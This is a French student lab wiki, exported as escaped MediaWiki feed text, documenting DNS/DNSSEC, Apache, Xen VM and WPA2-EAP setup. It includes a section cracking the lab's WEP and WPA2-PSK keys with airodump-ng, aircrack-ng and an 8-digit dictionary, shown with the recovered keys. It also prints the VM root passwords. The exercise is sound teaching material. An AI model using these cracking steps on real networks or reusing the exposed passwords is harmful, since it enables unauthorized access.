ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_5&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite sur le routeur :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool PoolCedric&lt;br /&gt;
network 10.60.5.0 255.255.255.0&lt;br /&gt;
dns-server 193.48.57.166&lt;br /&gt;
default-router 10.60.5.254&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Vlan15&lt;br /&gt;
 description &amp;quot;VLAN personnel de Cedric PAYET (E5) - WPA2-EAP&amp;quot;&lt;br /&gt;
 ip address 10.60.5.2 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60a5::2/64&lt;br /&gt;
 vrrp 15 address-family ipv4&lt;br /&gt;
  priority 110&lt;br /&gt;
  address 10.60.5.1 primary&lt;br /&gt;
  exit-vrrp&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 15&lt;br /&gt;
name E5-Cedric&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12204</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12204"/>
		<updated>2026-02-10T16:41:36Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Compte rendu des commandes effectués */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
